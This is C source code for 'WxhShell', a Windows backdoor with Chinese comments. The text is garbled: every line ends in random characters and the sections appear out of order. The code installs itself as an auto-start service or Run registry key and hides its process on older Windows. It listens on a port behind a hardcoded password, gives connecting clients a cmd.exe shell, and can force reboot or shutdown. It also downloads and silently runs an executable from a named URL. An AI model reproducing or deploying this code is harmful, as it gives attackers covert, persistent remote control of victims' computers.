    if(Boot(SHUTDOWN)) 4FMF|U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c6AWn>H  
    else { ]$iN#d|ZU  
    closesocket(wsh); d^D i*&X  
    ExitThread(0); 6XV<? 9q  
    } n&XGBwgW  
    break; Qvoqx>2p5  
    } g"8 .}1)~r  
  // 获取shell -8Ti*:  
  case 's': { NucM+r1P  
    CmdShell(wsh); +|RB0}hFS-  
    closesocket(wsh); 3{Q,h pZN  
    ExitThread(0); \NL+}cL/  
    break; X" R<J#4  
  } mxG]kqi  
  // 退出 / !xF?OmVd  
  case 'x': { 6vy7l(%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  z01>'  
    CloseIt(wsh); (!K_Fy@  
    break; ^HA %q8| n  
    } ?pGkk=,KB  
  // 离开 3`V1XE.;  
  case 'q': { O/Y)&VG7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (M-ZQ -  
    closesocket(wsh); H#d:kilNy  
    WSACleanup(); i8pU|VpA  
    exit(1); {U11^w1"3  
    break; C?Zw6M+  
        } Sr.;GS5i  
  } kJK,6mN  
  } 2 YxTMT  
f"5g>[ 1  
  // 提示信息 y9HK |  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5F $V`kYT  
} =P77"Dd  
  } TYgQJW?  
|$lwkC)O  
  return; _%@=Uc6V  
} x%> e)L<  
90N`CXas  
// shell模块句柄 mj,fp2D;%  
int CmdShell(SOCKET sock) '?*g%Yuz  
{ j -O2aL  
STARTUPINFO si; Kp iF0K  
ZeroMemory(&si,sizeof(si)); 9h,u6e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5_o$<\I\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ./-JbW  
PROCESS_INFORMATION ProcessInfo; }ynT2a#LU'  
char cmdline[]="cmd"; *wbZ;rfF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8cg`7(a  
  return 0; j5 wRGn3  
} W  0[N0c  
Uu p(6`7  
// 自身启动模式 F phDF  
int StartFromService(void) $a;]_Y  
{ 'Pltn{iq[  
typedef struct MQ/ A]EeL  
{ adEJk  
  DWORD ExitStatus; q 2? X"!  
  DWORD PebBaseAddress; 6vzk\n  
  DWORD AffinityMask; \>/M .2  
  DWORD BasePriority; HRa@  
  ULONG UniqueProcessId; rp34?/Nz  
  ULONG InheritedFromUniqueProcessId; &lc8G  
}   PROCESS_BASIC_INFORMATION; L):qu  
LxN*)[Wb  
PROCNTQSIP NtQueryInformationProcess; CZ{k@z`r  
`(4pu6uT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XR+3j/zEQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +FFG#6e  
4jm K].  
  HANDLE             hProcess; 2h^WYpCm  
  PROCESS_BASIC_INFORMATION pbi; e&I t  
rJfqA@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *gsAn<  
  if(NULL == hInst ) return 0; {y^3> 7  
=d;Vk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !cEG}(|h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $A\m>*@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ekSY~z=/u  
d4^`}6@  
  if (!NtQueryInformationProcess) return 0; Tp%(I"H'_;  
pa .K-e)Mu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sYbH|}  
  if(!hProcess) return 0; ?h\mk0[  
MFit|C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;^k7zNf-  
o,Z{ w"  
  CloseHandle(hProcess); *iX e^<6v  
N> Jw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zzpZ19"`1  
if(hProcess==NULL) return 0; ^+70<#Xc  
" BTE  
HMODULE hMod; F 8yF  
char procName[255]; %oykcf,#  
unsigned long cbNeeded; }E <^gAh}  
LwJ0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y&T&1o  
(g8*d^u#PO  
  CloseHandle(hProcess); tl8O6`<Z  
m 40m<@  
if(strstr(procName,"services")) return 1; // 以服务启动 JHV)ZOO  
&M&{yc*%  
  return 0; // 注册表启动 i\}:hU-U  
} iAO5"(>}?  
MEZ{j%-a  
// 主模块 IfdI|ya  
int StartWxhshell(LPSTR lpCmdLine) d 4{FDqto  
{ BuQ|~V  
  SOCKET wsl; 4)-)#`K  
BOOL val=TRUE; nY-* i!H  
  int port=0; JyBp-ii  
  struct sockaddr_in door; FVWfDQ$&v  
[`fI:ao|  
  if(wscfg.ws_autoins) Install(); &vUq}r%P  
Xh3;   
port=atoi(lpCmdLine); .#6MQJ]OH  
RNJ FSD.  
if(port<=0) port=wscfg.ws_port; Va<H U:<  
jRZ%}KX  
  WSADATA data; 0NE{8O0;Fr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~9o6 W",  
6.Ie\5-a;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &]p}+{ (>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ".2K9j7$  
  door.sin_family = AF_INET; f_mhD dq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .QWhK|(.!  
  door.sin_port = htons(port); =jAFgwP\  
&V=7D#L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6 DF  
closesocket(wsl); Rs;15@t@  
return 1; mO rWJ~=  
} G$WOzY(  
?r_kyuU  
  if(listen(wsl,2) == INVALID_SOCKET) { fZryG  
closesocket(wsl); :J_oj:0r"f  
return 1; Pi6C/$ K  
} S\C*iGeqJ  
  Wxhshell(wsl); _kraMQ>  
  WSACleanup(); "PWl4a&  
nS.G~c|  
return 0; /MTf0^9  
Fe=8O ^\  
} 9M$/=>^ Z  
@s* ,xHE  
// 以NT服务方式启动 3}Xc71|v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c$M%G)P  
{ /Bv#) -5  
DWORD   status = 0; y.a]r7  
  DWORD   specificError = 0xfffffff; 5N/Lk>p1u  
|Ur"za;%@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >9K//co"of  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n]? WCG}cd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S q@H  
  serviceStatus.dwWin32ExitCode     = 0; w<nv!e?  
  serviceStatus.dwServiceSpecificExitCode = 0; kyUl{Zj  
  serviceStatus.dwCheckPoint       = 0; ISqfU]>[  
  serviceStatus.dwWaitHint       = 0; HMQI&Lh=U  
ZW4aY}~)$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mf$j03tu  
  if (hServiceStatusHandle==0) return; YcM;S  
+&v\ /  
status = GetLastError(); 0{rx.C7|  
  if (status!=NO_ERROR) `iixq9xi  
{ 02b6s&L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a+z2Zd!u\x  
    serviceStatus.dwCheckPoint       = 0; S3 \jcgrS  
    serviceStatus.dwWaitHint       = 0; E,"&-`/2v  
    serviceStatus.dwWin32ExitCode     = status; JSVeU54T^<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^$?qT60%d|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); APBK9ky  
    return; Lk, +Tfk"  
  } MgJ5B(c  
]#eh&jw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [/9(NUf  
  serviceStatus.dwCheckPoint       = 0; 8e:vWgQpL  
  serviceStatus.dwWaitHint       = 0; /'&;Q7!)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RXSf,O  
} __N.#c/l{  
!vqC+o>@  
// 处理NT服务事件,比如:启动、停止 6].:.b\qQc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XAic9SNu;  
{ R{}qK r  
switch(fdwControl) :=.*I  
{ !k&)EWP?  
case SERVICE_CONTROL_STOP: l gq=GHW  
  serviceStatus.dwWin32ExitCode = 0; p8>%Mflf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K&`Awv  
  serviceStatus.dwCheckPoint   = 0; KCqqJ}G  
  serviceStatus.dwWaitHint     = 0; )2j:z#'>  
  { NPU^) B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S7sb7c'4 k  
  } \9m*(_Qf  
  return; ?Myh 7  
case SERVICE_CONTROL_PAUSE: O.\h'3C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @)0 Y~A )  
  break; uH{'gd,q8  
case SERVICE_CONTROL_CONTINUE: 5w3Fqu>39?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 78Y@OL_$  
  break; h8v>zNf'  
case SERVICE_CONTROL_INTERROGATE: vOT*iax0  
  break; X0i3_RVa  
}; h}Ygb-uZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lo`F  
} 4M`Xrfwm'[  
`iYc<N`  
// 标准应用程序主函数 :t$A8+A+0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {8CWWfHCD  
{ tY_5Pz(@  
UzQ$B>f  
// 获取操作系统版本 avNLV  
OsIsNt=GetOsVer(); (_8#YyW#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FmT `Oa>  
Mtp%co)f  
  // 从命令行安装 uw_?O[ZA[  
  if(strpbrk(lpCmdLine,"iI")) Install(); %KV2< t?  
#x)}29%e#  
  // 下载执行文件 "'{OIP  
if(wscfg.ws_downexe) { '`o[+.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j$P I,`  
  WinExec(wscfg.ws_filenam,SW_HIDE); TmP8 q  
} x:-`o_Q*i  
(V9h2g&8L  
if(!OsIsNt) { ixI:@#5wY  
// 如果时win9x,隐藏进程并且设置为注册表启动 Slx2z%'>  
HideProc(); r*d Q5 _  
StartWxhshell(lpCmdLine); ,U=E[X=H  
} *x,HnHT  
else >>V&yJ_  
  if(StartFromService()) Q_}n%P:u  
  // 以服务方式启动 j jY{Uq  
  StartServiceCtrlDispatcher(DispatchTable); <94WZ?{p  
else |5ONFd e"0  
  // 普通方式启动 dU+0dZdKO  
  StartWxhshell(lpCmdLine); &o.iUk  
otq,R6 ^  
return 0; l9Pu&M?5  
} In(NF#  
Mq+< mX7  
Bl4 dhBZoO  
Czu1)y  
=========================================== pGkef0p@  
9ECS,r*B  
0vckoE  
_S5gcPcF"  
V/-MIH7SF  
cjT[P"5$  
" d}% (jJ(I  
`o-*Tr  
#include <stdio.h> lU$X4JBzS  
#include <string.h> ^x3EotQ\  
#include <windows.h> z93nYY$`Y  
#include <winsock2.h> ;&mxqY8`'  
#include <winsvc.h> 6ZgNHARS  
#include <urlmon.h> ZNy9_a:dX  
I9/KM4&  
#pragma comment (lib, "Ws2_32.lib") %UG/ak%z  
#pragma comment (lib, "urlmon.lib") ^pw7o6}  
=uc^433.  
#define MAX_USER   100 // 最大客户端连接数 ha>SZnKD{  
#define BUF_SOCK   200 // sock buffer <9N4"d !A  
#define KEY_BUFF   255 // 输入 buffer b%<jUY  
P#bm uCOS  
#define REBOOT     0   // 重启 ]Zv ,  
#define SHUTDOWN   1   // 关机 =ZMF]|  
1 ypjyu  
#define DEF_PORT   5000 // 监听端口 jkCHi@  
*1,=qRjL  
#define REG_LEN     16   // 注册表键长度 BHclUwj  
#define SVC_LEN     80   // NT服务名长度 RAOKZ~`  
lko3]A3  
// 从dll定义API ULu O0\W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  8bGD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k+txb?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %&1$~m0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E7 L bSZ  
hg&u0AQ2  
// wxhshell配置信息 hXnw..0"  
struct WSCFG { @>Ek'~m  
  int ws_port;         // 监听端口 +{^'i P  
  char ws_passstr[REG_LEN]; // 口令 %IU4\ZY>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5~yQ>h  
  char ws_regname[REG_LEN]; // 注册表键名 d'q&Lq  
  char ws_svcname[REG_LEN]; // 服务名 `\e'K56W6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w(#:PsMo<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0#]!#1utg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cf&C|U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <G}m#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wOM<X hZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U,d2DAvt  
v C-[#]<  
}; T7s+9CE  
2_I+mQ  
// default Wxhshell configuration -G!6U2*#  
struct WSCFG wscfg={DEF_PORT, `|JI\&z  
    "xuhuanlingzhe", ]3 j[3'  
    1, qw)Key  
    "Wxhshell", %0 qc@4  
    "Wxhshell", P;>!wU~*  
            "WxhShell Service", ]%||KC!O  
    "Wrsky Windows CmdShell Service", !8Y3V/)NU  
    "Please Input Your Password: ", (E IRz>  
  1, Ga?UHw~  
  "http://www.wrsky.com/wxhshell.exe", Pgx+\;w"  
  "Wxhshell.exe" 13\Sh  
    }; a YR\<02  
9M nem*  
// 消息定义模块 % dYI5U89  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k|fh\F+$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q>V?w gZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VAt>ji7c  
char *msg_ws_ext="\n\rExit."; TftOYY.hQ  
char *msg_ws_end="\n\rQuit."; i(z+a6^@|  
char *msg_ws_boot="\n\rReboot..."; iPz1eUj  
char *msg_ws_poff="\n\rShutdown..."; R'r|E_  
char *msg_ws_down="\n\rSave to "; z(jU|va{_1  
9M;I$_U`vj  
char *msg_ws_err="\n\rErr!"; {#0Tl  
char *msg_ws_ok="\n\rOK!"; % hNn%Oy:E  
<w;D$l}u  
char ExeFile[MAX_PATH]; L#[HnsLp_  
int nUser = 0; EI<"DB   
HANDLE handles[MAX_USER]; R:BBF9sK?  
int OsIsNt; KZi+j#7O  
g8Ok ^  
SERVICE_STATUS       serviceStatus; A?\h|u<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D`8E-Bq  
;g6 nHek  
// 函数声明 V02309Y  
int Install(void); & 8zk3  
int Uninstall(void); q~mcjbLz  
int DownloadFile(char *sURL, SOCKET wsh); ^sJ1 ^LT  
int Boot(int flag); 2k%Bl+I  
void HideProc(void); +7`u9j.  
int GetOsVer(void); l;XUh9RF`A  
int Wxhshell(SOCKET wsl); FU^Y{sbDg  
void TalkWithClient(void *cs); /Ql6]8.P  
int CmdShell(SOCKET sock); VN?<[#ij  
int StartFromService(void); $B*qNYpPy.  
int StartWxhshell(LPSTR lpCmdLine); HH+TjX/b  
Qb@BV&^y&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d"z *Nb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B6-AIPb  
|WQD=J%~(  
// 数据结构和表定义 oJhEHx[f  
SERVICE_TABLE_ENTRY DispatchTable[] = hcj{%^p  
{ {E3;r7  
{wscfg.ws_svcname, NTServiceMain}, }`#j;H$i  
{NULL, NULL} zf}rfn  
}; u|(aS^H=q  
-=@K %\\~5  
// 自我安装 ><MGZ?-N  
int Install(void) "pR $cS  
{ <<i=+ed8eP  
  char svExeFile[MAX_PATH]; >qr=l,Hi  
  HKEY key; F>p%2II/  
  strcpy(svExeFile,ExeFile); hU |LFjc  
}o~Tw?z-|  
// 如果是win9x系统,修改注册表设为自启动 )kFme=;  
if(!OsIsNt) { ]eY Qio!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5L/Yi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q,ZkeWQ7%  
  RegCloseKey(key); (L]T*03#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~4l6unCI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "X\q%%P=?  
  RegCloseKey(key); =B1`R%t  
  return 0; .n?5}s+q  
    } Ufyxw5u5F  
  } Z?vY3)  
} lv*Wnn@k  
else { I #Arr#%  
a g|9$  
// 如果是NT以上系统,安装为系统服务 BF@m )w.v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F^4*|g  
if (schSCManager!=0) KB$ vQ@N  
{ ;""-[4C  
  SC_HANDLE schService = CreateService = .fc"R|<K  
  ( r9U[-CX:"  
  schSCManager, <6~/sa4GN  
  wscfg.ws_svcname, `PXoJl  
  wscfg.ws_svcdisp, !.x=r  
  SERVICE_ALL_ACCESS, O%r S;o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :==UDVP  
  SERVICE_AUTO_START, LX&=uv%-^  
  SERVICE_ERROR_NORMAL, !H2C9l:rd  
  svExeFile, '5&B~ 1&  
  NULL, 8Xt=eL/P  
  NULL, 5<0Yh#_  
  NULL,  ] I N -  
  NULL, hg)!m\g  
  NULL n:%'{}Jw  
  ); aTmX!!  
  if (schService!=0) Zb5T90s%  
  { p]atH<^;K  
  CloseServiceHandle(schService); %a%+!wX0x  
  CloseServiceHandle(schSCManager); I_{9eG1w?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }[YcilU_  
  strcat(svExeFile,wscfg.ws_svcname); Cf8R2(-4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lk5_s@V l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $\=6."R5<  
  RegCloseKey(key); w+:+r/!g  
  return 0; #)Id J]  
    } f?oI'5R41  
  } B$iMU?B3  
  CloseServiceHandle(schSCManager); 9}7oKlyk  
} *R1d4|/G  
} cHfK-R  
0hEF$d6U  
return 1; >-o?S O(M,  
} ePFC$kMn  
qCv}+d)  
// 自我卸载 |wl")|b%  
int Uninstall(void) |2+c DR  
{ i1kh@s~8UC  
  HKEY key; (5CX*)R  
J{v6DYhi  
if(!OsIsNt) { U/~Zk@3j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2g`uC}  
  RegDeleteValue(key,wscfg.ws_regname);  @=^jpSnZ  
  RegCloseKey(key); vCrWA-q#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vM$#m1L?  
  RegDeleteValue(key,wscfg.ws_regname); Xqq?S  
  RegCloseKey(key); 2n\i0?RD  
  return 0; 'JXN*YO  
  } ?j ;,q  
} OmQuAG ^\x  
} oD|+X/F K  
else { cc#_acR  
YjMbd?v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jw&}N6^G  
if (schSCManager!=0) *AJezhR  
{ ! 7#froh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,& {5,=  
  if (schService!=0) /3bca!O  
  { dh7)N}2  
  if(DeleteService(schService)!=0) { $(!D/bvJ  
  CloseServiceHandle(schService); NC#kI3{  
  CloseServiceHandle(schSCManager); 2T{-J!k  
  return 0; wN%DM)*k  
  } Z2Y583D  
  CloseServiceHandle(schService); wLg:YM"  
  } c"_H%x<[  
  CloseServiceHandle(schSCManager); %[31ZFYB  
} E,nYtn|B  
} d%"@#bB  
{yl/T:Bh&  
return 1; `~s,W.Eu4  
} =Am*$wGI  
D6 @4  
// 从指定url下载文件 7{6cLYl  
int DownloadFile(char *sURL, SOCKET wsh) `dq3=  
{ blQzVp-  
  HRESULT hr; m$G?e 9{  
char seps[]= "/"; 2v; 7ohK  
char *token; D=Yag!1  
char *file; LxYM "_1A;  
char myURL[MAX_PATH]; 2&G1Q'!  
char myFILE[MAX_PATH]; 0 Ci"tA3"  
T[2f6[#[_  
strcpy(myURL,sURL); B3k],k  
  token=strtok(myURL,seps); `qy6 qKl N  
  while(token!=NULL) ~dX@5+Gd  
  { NU 6Kh7  
    file=token; 9jJ/ RXp  
  token=strtok(NULL,seps); JCMEhI6d*  
  } [n@!=T  
=<27qj  
GetCurrentDirectory(MAX_PATH,myFILE); RHA>fXp  
strcat(myFILE, "\\"); WSX@0A.&)  
strcat(myFILE, file); I@3c QxI  
  send(wsh,myFILE,strlen(myFILE),0); mk3e^,[A  
send(wsh,"...",3,0); !n?*vN=S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 77[;J  
  if(hr==S_OK) .]d tRH<  
return 0; y{},{~FA"  
else "5z6~dq  
return 1; @):NNbtA  
Bo\dt@0;  
} R<YYf^y  
8f`b=r(a>  
// 系统电源模块 8 H"f9S=K  
int Boot(int flag) 0aN}zUf  
{ P+cFp7nC  
  HANDLE hToken; 8=_| qy}l/  
  TOKEN_PRIVILEGES tkp; Gxt<kz  
nfPl#]ef*  
  if(OsIsNt) { {UVm0AeUq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JnKbd~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GeW$lA I  
    tkp.PrivilegeCount = 1; c#-97"_8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d"$oV~>P|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9tW.}5V  
if(flag==REBOOT) { R)d 7b,_Yd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XQoT},C  
  return 0; ?9ho|  
} ^T J   
else { XIW: Nk!S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7bW!u*v-c  
  return 0; )|1JcnNSa  
} y5tAp  
  } FZI 4?YD?<  
  else { S5JR`o  
if(flag==REBOOT) { ReGb .pf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /8-VC"  
  return 0; Ac(Vw%  
} 4I[FE;^  
else { E3C[o! 5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ` :  
  return 0; \EfwS% P  
} blkJm9]v  
} ^+l\YB7pD  
m.g@S30  
return 1; vpw&"?T  
} "+ JwS  
$}c@S0%P"  
// win9x进程隐藏模块 UE;) mZ=l|  
void HideProc(void) OU5|m%CmO  
{ P!&CH4+  
.F$AmVTN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SG o:FG  
  if ( hKernel != NULL ) uT t:/gm  
  { FwzA_ nn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _+Kt=;Y8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2g8P$+;  
    FreeLibrary(hKernel); `G5wiyH})  
  } ;Z~.54Pf{d  
6&Ir0K/  
return; Q]'!FmXf  
} 3tcsj0Rb  
p5rRhu/|k3  
// 获取操作系统版本 4E(5Ccb  
int GetOsVer(void) <R8Z[H:bV  
{ t'/;Z:  
  OSVERSIONINFO winfo; -ZON']|<}k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a~TZ9yg+HL  
  GetVersionEx(&winfo); DyTk<L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1^>g>bn_"  
  return 1; .qPfi] ty  
  else nAC#_\  
  return 0; ASU\O3%%  
} `GWq3c5  
>^ar$T;Ys  
// 客户端句柄模块 R}26"+~  
int Wxhshell(SOCKET wsl) qiryC7.E  
{ 0-~x[\>>  
  SOCKET wsh; ,(=]6V  
  struct sockaddr_in client; d iLl>z  
  DWORD myID; lH>XIEj  
nEEGO~e  
  while(nUser<MAX_USER) RUtS_Z&  
{ XFe7qt;%  
  int nSize=sizeof(client); [1MEA;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YU,:3{9,  
  if(wsh==INVALID_SOCKET) return 1; *c c+Fd  
YYh_lAS>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @O @yJ{(I  
if(handles[nUser]==0) ,#O8:s  
  closesocket(wsh); ?C2;:ol  
else WkIV  
  nUser++; sYI':UQe  
  } <\EfG:e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GLF"`M/g  
<%7 V`,*g/  
  return 0; cTTE] ix]  
} )eMh,r  
)fL*Ws6  
// 关闭 socket o+Z9h1z%,  
void CloseIt(SOCKET wsh) iRtDZoiD'  
{ S:\hcW6  
closesocket(wsh); Y\|J1I,Z4  
nUser--; l!` 0I] }  
ExitThread(0); * XGBym  
} e !Okc*,  
W-QPO  
// 客户端请求句柄 X5<.%@Z  
void TalkWithClient(void *cs) 93DBZqN  
{ ,RO(k4  
.p}Kl$K]  
  SOCKET wsh=(SOCKET)cs; /CE d 14.  
  char pwd[SVC_LEN]; IW_D$pq  
  char cmd[KEY_BUFF]; 4,DsB'  
char chr[1]; =1[g`b  
int i,j; VrxH6Y  
BAHx7x#(  
  while (nUser < MAX_USER) { y]9U FL"  
R  |%  
if(wscfg.ws_passstr) { d vxEXy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wCmv/m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jtY~- @*  
  //ZeroMemory(pwd,KEY_BUFF); PlUjjJU  
      i=0; mkA|gM[g7  
  while(i<SVC_LEN) { 7#3)&"j  
D:EF@il  
  // 设置超时 V~Lq, oth  
  fd_set FdRead; sR .j~R  
  struct timeval TimeOut; .&xNJdsY  
  FD_ZERO(&FdRead); 8m<<tv.  
  FD_SET(wsh,&FdRead); %MNV 5UA[w  
  TimeOut.tv_sec=8; b{Ss+F  
  TimeOut.tv_usec=0; 2GzpWV(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AMz=HN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W9'jzP  
uJ[Vv4N%9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RkwY3 s"  
  pwd=chr[0]; j56 An6g  
  if(chr[0]==0xd || chr[0]==0xa) { 0&@ pX~h:  
  pwd=0; c<e\JJY5?  
  break; $twF93u$  
  } &N0|tn  
  i++; v2sU$M  
    } a6P.Zf7  
R?s\0  
  // 如果是非法用户,关闭 socket W F<V2o{k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KK$A 4`YoR  
} Ghc0{M<  
q04Dj-2<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |9eY R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2A+,. S_!x  
J3;KQ}F.I  
while(1) { n.RhA-O  
hh&y2#Io  
  ZeroMemory(cmd,KEY_BUFF); 5zOSb$;  
B,,d~\  
      // 自动支持客户端 telnet标准   >,Z{wxz J  
  j=0; A o$z )<d'  
  while(j<KEY_BUFF) { [^~9wFNtd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G1 tp  
  cmd[j]=chr[0]; !k9h6/ b6  
  if(chr[0]==0xa || chr[0]==0xd) { 2s%M,Nb  
  cmd[j]=0; NhX.yLb$   
  break; k^jCB>b  
  } s#ZH.z@J  
  j++; IOl"Xgn5  
    } 7gcG|kKT  
2Zip8f!  
  // 下载文件 W^Y0>W~  
  if(strstr(cmd,"http://")) { ; bE6Y]"Rz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G9Tix\SpF  
  if(DownloadFile(cmd,wsh)) Hc|U@G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *pp1Wa7O  
  else ^^uD33@_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S '+"+%^tj  
  } \-ws[  
  else { Y'1V(5/&  
yG$@!*|  
